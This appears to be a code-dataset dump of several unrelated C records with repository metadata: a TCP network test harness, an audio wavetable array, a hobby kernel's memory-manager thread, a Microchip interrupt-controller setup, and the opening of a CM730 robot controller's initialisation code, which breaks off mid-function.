TC_ERROR("Context listen v6 test failed (%d)\n", ret);
return false;
}
ret = net_context_accept(reply_v6_ctx, accept_v6_cb, 0,
INT_TO_POINTER(AF_INET6));
if (ret) {
TC_ERROR("Context accept v6 test failed (%d)\n", ret);
return false;
}
ret = net_context_listen(reply_v4_ctx, 0);
if (ret) {
TC_ERROR("Context listen v4 test failed (%d)\n", ret);
return false;
}
ret = net_context_accept(reply_v4_ctx, accept_v4_cb, 0,
INT_TO_POINTER(AF_INET));
if (ret) {
TC_ERROR("Context accept v4 test failed (%d)\n", ret);
return false;
}
DBG("Waiting a connection...\n");
return true;
}
#if 0
static bool test_init_tcp_connect(void)
{
int ret;
fail = false;
syn_v6_sent = true;
ret = net_context_connect(v6_ctx, (struct sockaddr *)&peer_v6_addr,
sizeof(peer_v6_addr), connect_v6_cb,
0, INT_TO_POINTER(AF_INET6));
if (ret) {
TC_ERROR("Context connect v6 test failed (%d)\n", ret);
return false;
}
if (k_sem_take(&wait_in_accept, WAIT_TIME_LONG)) {
TC_ERROR("Timeout while waiting data back\n");
return false;
}
if (!accept_cb_called) {
TC_ERROR("No IPv6 accept cb called on time, "
"TCP accept test failed\n");
return false;
}
accept_cb_called = false;
ret = net_context_connect(v6_ctx, (struct sockaddr *)&my_v6_addr,
sizeof(my_v6_addr), connect_v6_cb,
0, INT_TO_POINTER(AF_INET6));
if (ret || fail) {
TC_ERROR("Context connect v6 test failed (%d)\n", ret);
return false;
}
DBG("Waiting v6 connection\n");
if (k_sem_take(&wait_connect, WAIT_TIME_LONG)) {
TC_ERROR("Timeout while waiting data back\n");
return false;
}
if (!connect_cb_called) {
TC_ERROR("No IPv6 connect cb called on time, "
"TCP connect test failed\n");
return false;
}
connect_cb_called = false;
ret = net_context_connect(v4_ctx, (struct sockaddr *)&my_v4_addr,
sizeof(my_v4_addr), connect_v4_cb,
0, INT_TO_POINTER(AF_INET));
if (ret || fail) {
TC_ERROR("Context connect v4 test failed (%d)\n", ret);
return false;
}
k_sem_take(&wait_connect, WAIT_TIME);
if (!connect_cb_called) {
TC_ERROR("No IPv4 connect cb called on time, "
"TCP connect test failed\n");
return false;
}
connect_cb_called = false;
return true;
}
#endif
static bool test_init(void)
{
net_ipaddr_copy(&any_addr6.sin6_addr, &in6addr_any);
any_addr6.sin6_family = AF_INET6;
net_ipaddr_copy(&any_addr4.sin_addr, &in4addr_any);
any_addr4.sin_family = AF_INET;
k_sem_init(&wait_connect, 0, UINT_MAX);
return true;
}
static bool test_cleanup(void)
{
int ret;
ret = net_context_put(v6_ctx);
if (ret != 0) {
TC_ERROR("Context free v6 failed.\n");
return false;
}
ret = net_context_put(v4_ctx);
if (ret != 0) {
TC_ERROR("Context free v4 failed.\n");
return false;
}
ret = net_context_put(reply_v6_ctx);
if (ret != 0) {
TC_ERROR("Context free reply v6 failed.\n");
return false;
}
ret = net_context_put(reply_v4_ctx);
if (ret != 0) {
TC_ERROR("Context free reply v4 failed.\n");
return false;
}
return true;
}
static const struct {
const char *name;
bool (*func)(void);
} tests[] = {
{ "test TCP init", test_init },
{ "test TCP register/unregister port cb", test_register },
{ "test TCP context init", test_init_tcp_context },
{ "test IPv6 TCP reset packet creation", test_create_v6_reset_packet },
{ "test IPv4 TCP reset packet creation", test_create_v4_reset_packet },
{ "test IPv6 TCP syn packet creation", test_create_v6_syn_packet },
{ "test IPv4 TCP syn packet creation", test_create_v4_syn_packet },
{ "test IPv6 TCP synack packet create", test_create_v6_synack_packet },
{ "test IPv4 TCP synack packet create", test_create_v4_synack_packet },
{ "test IPv6 TCP fin packet creation", test_create_v6_fin_packet },
{ "test IPv4 TCP fin packet creation", test_create_v4_fin_packet },
{ "test IPv6 TCP seq check", test_v6_seq_check },
{ "test IPv4 TCP seq check", test_v4_seq_check },
{ "test TCP reply context init", test_init_tcp_reply_context },
{ "test TCP accept init", test_init_tcp_accept },
#if 0
{ "test TCP connect init", test_init_tcp_connect },
{ "test IPv6 TCP data packet creation", test_create_v6_data_packet },
{ "test IPv4 TCP data packet creation", test_create_v4_data_packet },
#endif
{ "test cleanup", test_cleanup },
};
void main(void)
{
int count, pass;
for (count = 0, pass = 0; count < ARRAY_SIZE(tests); count++) {
TC_START(tests[count].name);
test_failed = false;
if (!tests[count].func() || test_failed) {
TC_END(FAIL, "failed\n");
} else {
TC_END(PASS, "passed\n");
pass++;
}
}
TC_END_REPORT(((pass != ARRAY_SIZE(tests)) ? TC_FAIL : TC_PASS));
}
| [
"root@promote1204.router"
] | root@promote1204.router |
6695fd12e433549f310e0567b53702efce2f6a98 | c7be5b45ee13d3f2bad32902f8602ee00dff13c0 | /numeric/AKWF_0487.h | 5ff63a51334301bf54aa304b855dc53892d430c9 | [] | no_license | DatanoiseTV/AKWF_WaveForms_1024 | d38ed856416b093d3b0c0b7ef8203cd3fdf20f20 | 54c9d55511f007feacfac3d437e0eb1d1f214d5e | refs/heads/master | 2021-01-19T22:01:48.646095 | 2014-07-08T12:34:35 | 2014-07-08T12:34:35 | 21,574,675 | 3 | 1 | null | null | null | null | UTF-8 | C | false | false | 7,406 | h | // Converted by AKWF2Teensy from AKWF_0487.wav.
// AKWF2Teensy - Beerware by Datanoise.net.
const int16_t AKWF_0487[1025] = {
217, 639, 1062, 1485, 1908, 2328, 2748, 3164, 3579,
3985, 4389, 4788, 5181, 5566, 5945, 6316, 6679, 7031, 7376,
7711, 8036, 8350, 8653, 8945, 9223, 9491, 9746, 9988, 10217,
10432, 10633, 10824, 10999, 11160, 11306, 11440, 11560, 11665, 11757,
11834, 11898, 11947, 11984, 12007, 12017, 12014, 11997, 11969, 11928,
11876, 11812, 11736, 11650, 11554, 11448, 11331, 11207, 11073, 10932,
10782, 10625, 10462, 10292, 10119, 9938, 9752, 9563, 9373, 9178,
8981, 8783, 8584, 8385, 8183, 7984, 7785, 7588, 7394, 7204,
7016, 6830, 6650, 6476, 6307, 6140, 5984, 5833, 5689, 5552,
5425, 5305, 5194, 5091, 4998, 4916, 4841, 4779, 4726, 4683,
4651, 4633, 4623, 4626, 4638, 4662, 4696, 4745, 4805, 4875,
4955, 5049, 5155, 5268, 5396, 5535, 5682, 5839, 6009, 6189,
6376, 6575, 6784, 7001, 7224, 7459, 7700, 7948, 8204, 8470,
8740, 9012, 9294, 9582, 9871, 10165, 10468, 10770, 11071, 11380,
11694, 12000, 12312, 12630, 12943, 13248, 13564, 13881, 14181, 14483,
14803, 15100, 15376, 15690, 16006, 16228, 16494, 16970, 17094, 15644,
12023, 7066, 2125, -2226, -6130, -9626,-12487,-14631,-16165,-17125,
-17522,-17482,-17169,-16679,-16121,-15642,-15348,-15281,-15490,-16012,
-16822,-17870,-19113,-20490,-21909,-23293,-24583,-25716,-26636,-27319,
-27762,-27960,-27932,-27719,-27362,-26894,-26370,-25837,-25327,-24866,
-24479,-24175,-23945,-23783,-23674,-23591,-23504,-23391,-23226,-22985,
-22650,-22217,-21676,-21027,-20280,-19453,-18554,-17603,-16620,-15623,
-14626,-13640,-12680,-11749,-10846, -9972, -9126, -8293, -7469, -6647,
-5818, -4973, -4108, -3220, -2310, -1375, -423, 544, 1517, 2491,
3455, 4404, 5330, 6228, 7092, 7921, 8710, 9460, 10176, 10853,
11497, 12112, 12699, 13260, 13796, 14310, 14801, 15271, 15716, 16137,
16531, 16892, 17222, 17518, 17774, 17991, 18169, 18304, 18398, 18451,
18464, 18438, 18372, 18273, 18141, 17975, 17778, 17555, 17302, 17024,
16720, 16389, 16033, 15653, 15248, 14819, 14365, 13888, 13388, 12866,
12323, 11761, 11181, 10584, 9973, 9348, 8713, 8071, 7421, 6765,
6104, 5442, 4781, 4118, 3456, 2798, 2144, 1495, 852, 217,
-410, -1030, -1638, -2233, -2815, -3384, -3940, -4476, -4994, -5493,
-5972, -6431, -6868, -7281, -7669, -8034, -8372, -8686, -8973, -9234,
-9469, -9677, -9857,-10010,-10134,-10233,-10301,-10341,-10355,-10340,
-10297,-10226,-10128,-10003, -9848, -9670, -9464, -9231, -8974, -8692,
-8388, -8059, -7708, -7334, -6940, -6526, -6094, -5641, -5174, -4690,
-4190, -3676, -3148, -2608, -2058, -1497, -927, -349, 237, 825,
1421, 2018, 2620, 3223, 3825, 4425, 5023, 5618, 6207, 6792,
7369, 7940, 8499, 9051, 9593, 10122, 10639, 11141, 11630, 12104,
12561, 13003, 13426, 13833, 14220, 14586, 14935, 15262, 15569, 15855,
16119, 16361, 16581, 16778, 16952, 17104, 17233, 17339, 17421, 17480,
17517, 17531, 17522, 17491, 17438, 17363, 17267, 17148, 17010, 16851,
16672, 16473, 16256, 16021, 15769, 15500, 15215, 14912, 14597, 14269,
13926, 13569, 13203, 12826, 12438, 12042, 11637, 11227, 10809, 10386,
9958, 9528, 9094, 8658, 8223, 7787, 7351, 6918, 6488, 6063,
5641, 5224, 4815, 4412, 4017, 3630, 3254, 2888, 2532, 2188,
1855, 1535, 1230, 938, 661, 397, 151, -79, -293, -490,
-672, -835, -981, -1110, -1220, -1312, -1385, -1441, -1477, -1496,
-1497, -1479, -1444, -1389, -1317, -1228, -1122, -998, -857, -701,
-527, -338, -135, 82, 316, 562, 822, 1095, 1378, 1674,
1981, 2298, 2624, 2960, 3304, 3656, 4013, 4378, 4745, 5119,
5498, 5879, 6263, 6647, 7033, 7419, 7804, 8188, 8569, 8948,
9325, 9697, 10063, 10425, 10781, 11128, 11471, 11804, 12128, 12444,
12749, 13045, 13329, 13603, 13865, 14116, 14353, 14577, 14790, 14987,
15172, 15344, 15500, 15642, 15768, 15881, 15979, 16062, 16130, 16184,
16221, 16243, 16253, 16247, 16226, 16190, 16141, 16077, 15999, 15908,
15804, 15686, 15556, 15414, 15260, 15093, 14916, 14729, 14531, 14325,
14108, 13883, 13648, 13407, 13160, 12905, 12646, 12378, 12107, 11833,
11554, 11272, 10988, 10702, 10416, 10127, 9839, 9551, 9266, 8982,
8698, 8418, 8143, 7872, 7605, 7343, 7085, 6834, 6589, 6352,
6121, 5900, 5687, 5481, 5284, 5097, 4921, 4754, 4597, 4452,
4316, 4191, 4078, 3978, 3886, 3807, 3742, 3687, 3644, 3614,
3596, 3589, 3593, 3610, 3639, 3679, 3731, 3796, 3870, 3955,
4051, 4158, 4274, 4402, 4542, 4687, 4840, 5006, 5179, 5359,
5547, 5744, 5944, 6151, 6367, 6589, 6811, 7039, 7277, 7514,
7750, 7995, 8245, 8488, 8733, 8989, 9239, 9480, 9732, 9987,
10224, 10463, 10720, 10954, 11166, 11419, 11672, 11832, 12036, 12441,
12508, 11059, 7514, 2679, -2141, -6390,-10211,-13634,-16444,-18568,
-20100,-21080,-21516,-21528,-21280,-20863,-20379,-19971,-19742,-19733,
-19990,-20548,-21385,-22451,-23707,-25091,-26516,-27906,-29209,-30358,
-31299,-32016,-32501,-32750,-32767,-32630,-32342,-31948,-31500,-31041,
-30607,-30219,-29901,-29664,-29502,-29400,-29352,-29326,-29298,-29245,
-29142,-28965,-28697,-28333,-27864,-27293,-26628,-25881,-25065,-24200,
-23304,-22393,-21480,-20582,-19707,-18857,-18035,-17241,-16470,-15715,
-14966,-14218,-13464,-12693,-11902,-11091,-10252, -9392, -8515, -7623,
-6721, -5820, -4928, -4052, -3193, -2363, -1565, -801, -74, 617,
1274, 1897, 2489, 3050, 3587, 4099, 4589, 5056, 5504, 5932,
6337, 6717, 7073, 7398, 7694, 7956, 8183, 8371, 8521, 8633,
8705, 8736, 8730, 8686, 8607, 8494, 8348, 8173, 7968, 7735,
7476, 7193, 6884, 6551, 6193, 5812, 5407, 4980, 4530, 4057,
3561, 3045, 2510, 1955, 1383, 794, 193, -420, -1046, -1679,
-2320, -2963, -3611, -4263, -4915, -5566, -6215, -6861, -7504, -8143,
-8775, -9401,-10019,-10628,-11227,-11817,-12391,-12953,-13500,-14031,
-14544,-15037,-15513,-15970,-16404,-16815,-17204,-17568,-17909,-18225,
-18515,-18782,-19022,-19234,-19423,-19581,-19716,-19824,-19904,-19956,
-19982,-19980,-19952,-19897,-19815,-19705,-19569,-19408,-19221,-19009,
-18771,-18511,-18226,-17920,-17591,-17240,-16871,-16480,-16071,-15644,
-15201,-14741,-14265,-13774,-13273,-12758,-12232,-11693,-11148,-10594,
-10032, -9466, -8895, -8317, -7739, -7159, -6578, -5998, -5419, -4843,
-4272, -3704, -3142, -2587, -2041, -1504, -975, -457, 49, 541,
1021, 1489, 1940, 2377, 2797, 3201, 3587, 3956, 4307, 4638,
4949, 5240, 5510, 5761, 5991, 6201, 6388, 6553, 6696, 6818,
6919, 6999, 7055, 7091, 7106, 7099, 7073, 7025, 6956, 6867,
6760, 6632, 6485, 6321, 6140, 5940, 5724, 5493, 5247, 4985,
4709, 4421, 4120, 3807, 3483, 3149, 2807, 2455, 2097, 1731,
1360, 984, 604, 218, -168, -554, -941, -1329, -1716, -2102,
-2483, -2862, -3235, -3603, -3965, -4320, -4668, -5005, -5335, -5656,
-5964, -6262, -6548, -6822, -7081, -7328, -7560, -7779, -7983, -8169,
-8341, -8497, -8636, -8757, -8861, -8949, -9019, -9071, -9104, -9121,
-9121, -9102, -9063, -9007, -8936, -8846, -8737, -8613, -8471, -8312,
-8137, -7945, -7738, -7515, -7277, -7026, -6759, -6479, -6186, -5881,
-5562, -5233, -4895, -4545, -4185, -3816, -3439, -3053, -2662, -2265,
-1862, -1452, -1039, -623, -204, 217
};
| [
"github@ext.no-route.org"
] | github@ext.no-route.org |
a9dc7f189b7bd847f70f29b02750875ced440a38 | e41c5d10d50013752a9b4fa0823b30a55ab4c958 | /src/kernel/management/mm.c | 6bf0be8370cf09d5b95569d1620f305df6d1216a | [] | no_license | autumn-wind/os-lab1 | de4dffcbe923275e72639480211862582def72c6 | 4c7e3e2c5185f75100b7dff084771e41c9d267ae | refs/heads/master | 2021-05-04T11:00:18.959405 | 2017-05-11T06:15:08 | 2017-05-11T06:15:08 | 48,466,517 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 6,262 | c | #include "kernel.h"
static void mm(void);
extern uint8_t mem_maps[PAGE_NR];
pid_t MM;
uint32_t get_free_page(){
int i;
for(i = 0; i < PAGE_NR; ++ i){
if(mem_maps[i] == 0){
mem_maps[i] = 1;
return KMEM + i * PAGE_SIZE;
}
}
panic("No free page is found!\n");
return 0;
}
void copy_mem(char *dest, char *src, size_t len){
size_t i;
for(i = 0; i < len; ++i){
*(dest + i) = *(src + i);
}
}
void init_mm(){
PCB *p = create_kthread(mm);
MM = p->pid;
wakeup(p);
}
static void mm(void){
PDE *pdir, *fdir, *kpdir = get_kpdir();
PTE *ptable, *ftable;
uint32_t pdir_idx, ptable_idx, addr, stack_page, new_page;
uint32_t va, memsz, filesz, phoff, i, j, k, index;
int file;
uint8_t *c;
Msg m;
while(1){
receive(ANY, &m);
if(m.src == MSG_HARD_INTR){
assert(0);
}else if(m.src == PM){
/*user_addr_start = m.req_pid * PD_SIZE;*/
/*pdir = pa_to_va(user_addr_start);*/
/*ptable = pa_to_va(user_addr_start + PAGE_SIZE);*/
switch(m.type){
case GET_PAGE_DIR:
pdir = pa_to_va( get_free_page() );
/*printk("page dir: %x\n", va_to_pa(pdir));*/
for(pdir_idx = 0; pdir_idx < NR_PDE; ++ pdir_idx){
make_invalid_pde(&pdir[pdir_idx]);
}
m.ret = (uint32_t)va_to_pa(pdir);
break;
case CLEAN_ADDR:
pdir = pa_to_va(m.buf);
for(pdir_idx = 0; pdir_idx < KOFFSET / PD_SIZE; pdir_idx++){
if(pdir[pdir_idx].present == 1){
ptable = pa_to_va(pdir[pdir_idx].page_frame << 12);
for(ptable_idx = 0; ptable_idx < NR_PTE; ++ ptable_idx){
if(ptable[ptable_idx].present == 1){
mem_maps[( ( ptable[ptable_idx].page_frame << 12 ) - KMEM ) / PAGE_SIZE] = 0;
}
}
mem_maps[((pdir[pdir_idx].page_frame << 12) - KMEM) / PAGE_SIZE] = 0;
}
}
mem_maps[( (uint32_t)va_to_pa(pdir) - KMEM ) / PAGE_SIZE] = 0;
/*pframe_idx = (user_addr_start >> 12) + 1;*/
break;
case GET_STACK_PAGE:
pdir = pa_to_va(m.buf);
index = (USER_STACK >> 22) & 0x3FF;
if(pdir[index].present){
ptable = pa_to_va( pdir[index].page_frame << 12 );
}else{
ptable = pa_to_va(get_free_page());
/*printk("new page table for stack: %x\n", va_to_pa(ptable));*/
for(ptable_idx = 0; ptable_idx < NR_PTE; ptable_idx ++){
make_invalid_pte(&ptable[ptable_idx]);
}
make_pde(&pdir[( USER_STACK >> 22 ) & 0x3FF], va_to_pa(ptable));
}
stack_page = get_free_page();
/*printk("stack_page: %x\n", stack_page);*/
make_pte(&ptable[ ( USER_STACK >> 12 ) & 0x3FF], (void *)stack_page);
m.ret = stack_page;
break;
case NEW_PAGE:
pdir = pa_to_va(m.buf);
/*printk("pframe_idx: %x\n", pframe_idx);*/
/*printk("pa sent in mm: %x\n", pa);*/
va = m.offset;
file = m.req_pid;
/*pa = (pframe_idx << 12);*/
memsz = m.len;
filesz = m.filesz;
/*printk("filesz: %x\n", filesz);*/
phoff = m.phoff;
for(j = 0; j < memsz; ){
index = (va >> 22) & 0x3FF;
if(pdir[index].present == 0){
ptable = pa_to_va(get_free_page());
/*printk("new page table: %x\n", va_to_pa(ptable));*/
for(ptable_idx = 0; ptable_idx < NR_PTE; ptable_idx ++){
make_invalid_pte(&ptable[ptable_idx]);
}
make_pde(&pdir[index], va_to_pa(ptable));
}else{
ptable = pa_to_va(pdir[index].page_frame << 12);
}
off_t page_offset;
for(i = 0; j + i < memsz && i <= PD_SIZE - PAGE_SIZE; ){
page_offset = va % PAGE_SIZE;
size_t can_fill = PAGE_SIZE - page_offset;
new_page = get_free_page();
/*printk("new page: %x\n", new_page);*/
make_pte(&ptable[(va >> 12) & 0x3FF], (void *)new_page);
c = pa_to_va(new_page);
if(j + i >= filesz){
for(k = page_offset; k < PAGE_SIZE; ++ k){
c[k] = 0;
}
/*printk("fill zero page\n");*/
}else{
if(j + i + can_fill < filesz){
do_read(file, c, phoff, can_fill);
phoff += can_fill;
/*printk("fill full page\n");*/
}else{
size_t len = filesz - (j + i);
do_read(file, c + page_offset, phoff, len);
for(k = page_offset + len; k < PAGE_SIZE; ++ k){
c[k] = 0;
}
/*printk("fill half-full page\n");*/
}
}
va += can_fill;
i += can_fill;
}
j += i;
}
break;
case SHARE_KERNEL_PAGE:
pdir = pa_to_va(m.buf);
va = KOFFSET;
memsz = KMEM;
for(i = 0; i < memsz; i += PD_SIZE, va += PD_SIZE){
index = (va >> 22) & 0x3FF;
make_pde(&pdir[index], (void *)(kpdir[index].page_frame << 12));
}
break;
case COPY_FATHER_PAGE:
pdir = pa_to_va(m.buf);
fdir = pa_to_va(m.offset);
for(i = 0; i < KOFFSET / PD_SIZE; ++i){
if(fdir[i].present){
if(pdir[i].present){
ptable = pa_to_va(pdir[i].page_frame << 12);
}else{
ptable = pa_to_va(get_free_page());
for(ptable_idx = 0; ptable_idx < NR_PTE; ptable_idx ++){
make_invalid_pte(&ptable[ptable_idx]);
}
/*printk("new child page table: %x\n", va_to_pa(ptable));*/
make_pde(&pdir[i], va_to_pa(ptable));
}
ftable = pa_to_va(fdir[i].page_frame << 12);
for(j = 0; j < NR_PTE; ++j){
if(ftable[j].present){
uint32_t phy_page;
if(ptable[j].present){
phy_page = ptable[j].page_frame << 12;
}else{
phy_page = get_free_page();
/*printk("new child page: %x\n", phy_page);*/
make_pte(&ptable[j], (void *)phy_page);
}
copy_mem((char *)pa_to_va(phy_page), (char *)pa_to_va(ftable[j].page_frame << 12), PAGE_SIZE);
}
}
}
}
break;
case GET_ARGS_PHY_ADDR:
pdir = pa_to_va(m.buf);
addr = m.offset;
/*printk("old process args virtual addr: %x\n", addr);*/
ptable = pa_to_va(pdir[(addr >> 22) & 0x3FF].page_frame << 12);
m.ret = (ptable[(addr >> 12) & 0x3FF].page_frame << 12) + (addr % PAGE_SIZE);
/*printk("old process args physical addr: %x\n", m.ret);*/
break;
default:
assert(0);
}
pid_t dest = m.src;
m.src = current->pid;
send(dest, &m);
}else{
assert(0);
}
}
}
| [
"junf_wang@126.com"
] | junf_wang@126.com |
3fc434589591683f4ec7e04e48fd991cbc79228f | 01a4e429aeed06d87a74960818115ce2f534a462 | /apps/i2c_fail_safe_bootloader/host_app_nvm/firmware/src/config/sam_e54_xpro/peripheral/nvic/plib_nvic.c | 29b31940be2c2230bf6ce551f98c4aebc6883f2f | [
"ISC",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jmaya371/Boot-i2c | de7457db5946f3688c160bdd737be9c87a5360a6 | 1aa53edf577ac6b0d1096c753bd11997c79a6c89 | refs/heads/master | 2023-03-07T13:31:04.998810 | 2020-11-30T23:19:56 | 2020-11-30T23:19:56 | 340,567,769 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,795 | c | /*******************************************************************************
NVIC PLIB Implementation
Company:
Microchip Technology Inc.
File Name:
plib_nvic.c
Summary:
NVIC PLIB Source File
Description:
None
*******************************************************************************/
/*******************************************************************************
* Copyright (C) 2018 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*******************************************************************************/
#include "device.h"
#include "plib_nvic.h"
// *****************************************************************************
// *****************************************************************************
// Section: NVIC Implementation
// *****************************************************************************
// *****************************************************************************
void NVIC_Initialize( void )
{
/* Priority 0 to 7 and no sub-priority. 0 is the highest priority */
NVIC_SetPriorityGrouping( 0x04 );
/* Enable NVIC Controller */
__DMB();
__enable_irq();
/* Enable the interrupt sources and configure the priorities as configured
* from within the "Interrupt Manager" of MHC. */
NVIC_SetPriority(PAC_IRQn, 7);
NVIC_EnableIRQ(PAC_IRQn);
NVIC_SetPriority(SERCOM7_0_IRQn, 7);
NVIC_EnableIRQ(SERCOM7_0_IRQn);
NVIC_SetPriority(SERCOM7_1_IRQn, 7);
NVIC_EnableIRQ(SERCOM7_1_IRQn);
NVIC_SetPriority(SERCOM7_2_IRQn, 7);
NVIC_EnableIRQ(SERCOM7_2_IRQn);
NVIC_SetPriority(SERCOM7_OTHER_IRQn, 7);
NVIC_EnableIRQ(SERCOM7_OTHER_IRQn);
return;
}
| [
"amit.raddi@microchip.com"
] | amit.raddi@microchip.com |
045bdf79728ce0ab185922364f8b0baf61ee5bb1 | 1e395205d1c315c269a44c2e465831f862b2a491 | /src/nimbro/hardware/cm730/firmware/CM730_HW/src/system_init.c | 924b93bda21d48b4041d4f488f6326fe1680a42d | [] | permissive | anh0001/EROS | 01c46f88cc91ef0677b482124b2974790143e723 | a5fae8bf9612cd13fbbcfc0838685430a6fe8fa4 | refs/heads/master | 2021-08-28T00:07:13.261399 | 2021-08-20T08:56:12 | 2021-08-20T08:56:12 | 195,176,022 | 0 | 2 | MIT | 2021-08-20T08:52:12 | 2019-07-04T05:44:14 | null | UTF-8 | C | false | false | 23,542 | c | /************************* (C) COPYRIGHT 2010 ROBOTIS *************************
* File Name : system_init.c
* Author : zerom
* Version : V0.1
* Date : 2010/08/25
* Description : Functions relating to system initialisation
* Comment : This file has been modified by Philipp Allgeuer
* <pallgeuer@ais.uni-bonn.de> for the NimbRo-OP (02/04/14).
*******************************************************************************/
// Includes
#include "system_init.h"
#include "stm32f10x_lib.h"
#include "CM_DXL_COM.h"
#include "gyro_acc.h"
#include "compass.h"
#include "zigbee.h"
#include "sound.h"
#include "usart.h"
#include "adc.h"
// Functions
void Buzzer_Configuration(void);
void Timer_Configuration(void);
void SysTick_Configuration(void);
void RCC_Configuration(void);
void ADC_Configuration(void);
void SPI_Configuration(void);
void GPIO_Configuration(void);
void NVIC_Configuration(void);
// Baudrates
u32 Baudrate_PC = 2000000/((u32) (DEFAULT_BAUD_RATE + 1));
u32 Baudrate_DXL = 2000000/((u32) (DEFAULT_BAUD_RATE + 1));
u32 Baudrate_ZIG = 57600;
// Configure the entire system
void System_Configuration(void)
{
// Disable interrupts
GLOBAL_INTERRUPT_DISABLE();
// Configure the system clocks
RCC_Configuration(); // RCC = Reset and Clock Control
// Configure the interrupts
NVIC_Configuration(); // NVIC = Nested Vectored Interrupt Controller
// Configure the GPIO ports
GPIO_Configuration(); // GPIO = General-Purpose I/O
// Unlock the Flash program/erase controller
FLASH_Unlock();
// Configure USART (Universal Synchronous Asynchronous Receiver Transmitter)
USART_Configuration(USART_PC, Baudrate_PC); // Note: Usually USART_Configuration() writes into the Baudrate_* variables, but in this special initial case we know they already have the value we need, so we just feed them in
USART_Configuration(USART_DXL, Baudrate_DXL); // Note: The USART port buffers and variables are initialised using USARTInit(), called from inside these functions
zgb_initialize(0); // Note: Internally calls USART_Configuration(USART_ZIG, 57600), which just makes sure even if !ALLOW_ZIGBEE that all the interrupts are disabled etc...
// Disable automatic PC to DXL packet forwarding, and disable DXL Rx local buffering
disableDXLForwarding();
disableDXLBuffering();
// Configure ADC (Analog-to-Digital Converter)
ADC_Configuration();
// Configure Cortex System Timer (SysTick)
SysTick_Configuration();
// Configure timers
Timer_Configuration();
// Configure SPI (Serial Peripheral Interface)
GPIO_SetBits(PORT_SIG_GYRO_CS, PIN_SIG_GYRO_CS); // Deactivate chip select line of gyroscope
GPIO_SetBits(PORT_SIG_ACC_CS, PIN_SIG_ACC_CS); // Deactivate chip select line of accelerometer
SPI_Configuration();
// Configure the buzzer to run off a timer
Buzzer_Configuration();
setBuzzerOff();
// Initialisation of GPIO pin states
GPIO_ResetBits(PORT_ENABLE_TX, PIN_ENABLE_TX); // Disable USART1 TX
GPIO_SetBits(PORT_ENABLE_RX, PIN_ENABLE_RX); // Enable USART1 RX
// Configure the gyroscope, accelerometer and magnetometer
ConfigureGyro();
ConfigureAcc();
ConfigureCompass();
// Enable the Zigbee chip
#if ALLOW_ZIGBEE || IS_CM740 // The CM740 powers its compass over the Zigbee 3.3V power supply, so we wish to force it on
Zigbee_SetState(ON);
#else
Zigbee_SetState(OFF);
#endif
// Initialise the values in the control table
InitControlTable();
#if COMMS_LOGA != COMMS_LOG_NONE
GB_LOGA_PTR = P_LOGA - 1;
#endif
#if COMMS_LOGB != COMMS_LOG_NONE
GB_LOGB_PTR = P_LOGB - 1;
#endif
GB_LOG_CONFIG = (COMMS_LOGA << 4) | COMMS_LOGB;
// Enable interrupts
GLOBAL_INTERRUPT_ENABLE();
}
// Configure the buzzer
void Buzzer_Configuration(void)
{
// Declare and initialise variables
TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure;
TIM_TimeBaseStructInit(&TIM_TimeBaseStructure);
TIM_OCInitTypeDef TIM_OCInitStructure;
TIM_OCStructInit(&TIM_OCInitStructure);
// Timer base configuration for the buzzer
TIM_DeInit(TIM4);
TIM_TimeBaseStructure.TIM_Prescaler = 72 - 1; // 72 = 72MHz/1MHz where 1MHz is the resulting timer counter frequency
TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up;
TIM_TimeBaseStructure.TIM_Period = 2000; // 2000 * 1MHz = 2kHz
TIM_TimeBaseStructure.TIM_ClockDivision = 0;
TIM_TimeBaseStructure.TIM_RepetitionCounter = 0;
TIM_TimeBaseInit(TIM4, &TIM_TimeBaseStructure);
// Timer PWM configuration for the buzzer
TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM1;
TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable;
TIM_OCInitStructure.TIM_OutputNState = TIM_OutputNState_Disable;
TIM_OCInitStructure.TIM_Pulse = TIM_TimeBaseStructure.TIM_Period / 2;
TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_Low;
TIM_OC4Init(TIM4, &TIM_OCInitStructure);
TIM_OC4PreloadConfig(TIM4, TIM_OCPreload_Disable);
// Enable the timer and the PWM output
TIM_Cmd(TIM4, ENABLE);
TIM_CtrlPWMOutputs(TIM4, ENABLE);
}
// Configure the timers
void Timer_Configuration(void)
{
// Declare and initialise variables
TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure;
TIM_TimeBaseStructInit(&TIM_TimeBaseStructure);
TIM_OCInitTypeDef TIM_OCInitStructure;
TIM_OCStructInit(&TIM_OCInitStructure);
// Timer 2 base configuration
TIM_DeInit(TIM2);
TIM_TimeBaseStructure.TIM_Period = 65535;
TIM_TimeBaseStructure.TIM_Prescaler = 0;
TIM_TimeBaseStructure.TIM_ClockDivision = 0;
TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up;
TIM_TimeBaseInit(TIM2, &TIM_TimeBaseStructure);
// Timer 2 prescaler configuration
